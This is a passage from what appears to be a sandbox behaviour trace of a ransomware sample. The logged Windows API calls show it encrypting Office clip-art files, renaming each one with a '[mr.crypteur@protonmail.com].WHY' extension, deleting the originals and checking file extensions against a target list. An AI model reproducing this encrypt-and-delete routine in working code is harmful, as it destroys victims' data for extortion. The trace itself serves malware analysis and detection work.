Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.246] GetLastError () returned 0x0 [0278.246] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0278.251] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0278.254] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.254] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.255] SetEndOfFile (hFile=0x3b0) returned 1 [0278.255] CloseHandle (hObject=0x3b0) returned 1 [0278.256] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.256] SetEndOfFile (hFile=0x3bc) returned 1 [0278.263] CloseHandle (hObject=0x3bc) returned 1 [0278.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0278.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.265] lstrlenW (lpString=".doc") returned 4 [0278.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.266] lstrlenW (lpString=".docx") returned 5 [0278.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.266] lstrlenW (lpString=".pdf") returned 4 [0278.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.266] lstrlenW (lpString=".xls") returned 4 [0278.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.266] lstrlenW (lpString=".xlsx") returned 5 [0278.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.266] lstrlenW (lpString=".ppt") returned 4 [0278.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.266] lstrlenW (lpString=".zip") returned 4 [0278.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.697] lstrlenW (lpString=".rar") returned 4 [0278.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.697] lstrlenW (lpString=".bz2") returned 4 [0278.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.697] lstrlenW (lpString=".7z") returned 3 [0278.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.697] lstrlenW (lpString=".dbf") returned 4 [0278.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.698] lstrlenW (lpString=".1cd") returned 4 [0278.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.698] lstrlenW (lpString=".jpg") returned 4 [0278.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.698] lstrlenW (lpString=".doc") returned 4 [0278.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.698] lstrlenW (lpString=".docx") returned 5 [0278.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.699] lstrlenW (lpString=".pdf") returned 4 [0278.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.699] lstrlenW (lpString=".xls") returned 4 [0278.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.699] lstrlenW (lpString=".xlsx") returned 5 [0278.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.699] lstrlenW (lpString=".ppt") returned 4 [0278.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.699] lstrlenW (lpString=".zip") returned 4 [0278.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.699] lstrlenW (lpString=".rar") returned 4 [0278.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.699] lstrlenW (lpString=".bz2") returned 4 [0278.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.699] lstrlenW (lpString=".7z") returned 3 [0278.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.700] lstrlenW (lpString=".dbf") returned 4 [0278.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.700] lstrlenW (lpString=".1cd") returned 4 [0278.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0278.700] lstrlenW (lpString=".jpg") returned 4 [0278.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.701] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.701] lstrlenW (lpString="BD20013_.WMF") returned 12 [0278.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0278.803] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=11058) returned 1 [0278.803] CloseHandle (hObject=0x2f0) returned 1 [0278.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0278.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0278.805] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.805] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.806] GetLastError () returned 0x0 [0278.806] ReadFile (in: hFile=0x2f0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0278.969] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0278.973] ReadFile (in: hFile=0x2f0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.973] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.974] SetEndOfFile (hFile=0x3b0) returned 1 [0278.974] CloseHandle (hObject=0x3b0) returned 1 [0278.975] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.976] SetEndOfFile (hFile=0x2f0) returned 1 [0278.984] CloseHandle (hObject=0x2f0) returned 1 [0278.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0279.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.263] lstrlenW (lpString=".doc") returned 4 [0279.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.263] lstrlenW (lpString=".docx") returned 5 [0279.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.263] lstrlenW (lpString=".pdf") returned 4 [0279.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.263] lstrlenW (lpString=".xls") returned 4 [0279.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.263] lstrlenW (lpString=".xlsx") returned 5 [0279.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.263] lstrlenW (lpString=".ppt") returned 4 [0279.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.264] lstrlenW (lpString=".zip") returned 4 [0279.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.264] lstrlenW (lpString=".rar") returned 4 [0279.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.264] lstrlenW (lpString=".bz2") returned 4 [0279.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.264] lstrlenW (lpString=".7z") returned 3 [0279.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.264] lstrlenW (lpString=".dbf") returned 4 [0279.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.265] lstrlenW (lpString=".1cd") returned 4 [0279.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.265] lstrlenW (lpString=".jpg") returned 4 [0279.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.266] lstrlenW (lpString=".doc") returned 4 [0279.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.266] lstrlenW (lpString=".docx") returned 5 [0279.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.266] lstrlenW (lpString=".pdf") returned 4 [0279.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.266] lstrlenW (lpString=".xls") returned 4 [0279.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.266] lstrlenW (lpString=".xlsx") returned 5 [0279.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.267] lstrlenW (lpString=".ppt") returned 4 [0279.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.267] lstrlenW (lpString=".zip") returned 4 [0279.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.267] lstrlenW (lpString=".rar") returned 4 [0279.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.267] lstrlenW (lpString=".bz2") returned 4 [0279.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.267] lstrlenW (lpString=".7z") returned 3 [0279.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.267] lstrlenW (lpString=".dbf") returned 4 [0279.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.268] lstrlenW (lpString=".1cd") returned 4 [0279.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0279.268] lstrlenW (lpString=".jpg") returned 4 [0279.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.270] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0279.270] lstrlenW (lpString="BL00098_.WMF") returned 12 [0279.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.271] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1012) returned 1 [0279.271] CloseHandle (hObject=0x258) returned 1 [0279.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0279.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0279.272] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.272] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0279.273] GetLastError () returned 0x0 [0279.273] ReadFile (in: hFile=0x258, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0279.354] WriteFile (in: hFile=0x320, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x400, lpOverlapped=0x0) returned 1 [0279.358] ReadFile (in: hFile=0x258, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.358] WriteFile (in: hFile=0x320, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.359] SetEndOfFile (hFile=0x320) returned 1 [0279.359] CloseHandle (hObject=0x320) returned 1 [0279.360] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.361] SetEndOfFile (hFile=0x258) returned 1 [0279.368] CloseHandle (hObject=0x258) returned 1 [0279.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0279.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0279.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.420] lstrlenW (lpString=".doc") returned 4 [0279.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.420] lstrlenW (lpString=".docx") returned 5 [0279.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.420] lstrlenW (lpString=".pdf") returned 4 [0279.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.420] lstrlenW (lpString=".xls") returned 4 [0279.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.420] lstrlenW (lpString=".xlsx") returned 5 [0279.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.420] lstrlenW (lpString=".ppt") returned 4 [0279.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.421] lstrlenW (lpString=".zip") returned 4 [0279.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.421] lstrlenW (lpString=".rar") returned 4 [0279.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.898] lstrlenW (lpString=".bz2") returned 4 [0279.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.899] lstrlenW (lpString=".7z") returned 3 [0279.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.899] lstrlenW (lpString=".dbf") returned 4 [0279.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.899] lstrlenW (lpString=".1cd") returned 4 [0279.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.899] lstrlenW (lpString=".jpg") returned 4 [0279.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.900] lstrlenW (lpString=".doc") returned 4 [0279.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.900] lstrlenW (lpString=".docx") returned 5 [0279.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.900] lstrlenW (lpString=".pdf") returned 4 [0279.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.901] lstrlenW (lpString=".xls") returned 4 [0279.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.901] lstrlenW (lpString=".xlsx") returned 5 [0279.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.901] lstrlenW (lpString=".ppt") returned 4 [0279.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.901] lstrlenW (lpString=".zip") returned 4 [0279.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.901] lstrlenW (lpString=".rar") returned 4 [0279.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.902] lstrlenW (lpString=".bz2") returned 4 [0279.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.903] lstrlenW (lpString=".7z") returned 3 [0279.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.904] lstrlenW (lpString=".dbf") returned 4 [0279.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.904] lstrlenW (lpString=".1cd") returned 4 [0279.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0279.904] lstrlenW (lpString=".jpg") returned 4 [0279.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.905] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0279.905] lstrlenW (lpString="BL00148_.WMF") returned 12 [0279.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0280.335] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1696) returned 1 [0280.335] CloseHandle (hObject=0x320) returned 1 [0280.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0280.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0280.336] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0280.578] GetLastError () returned 0x0 [0280.578] ReadFile (in: hFile=0x320, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, 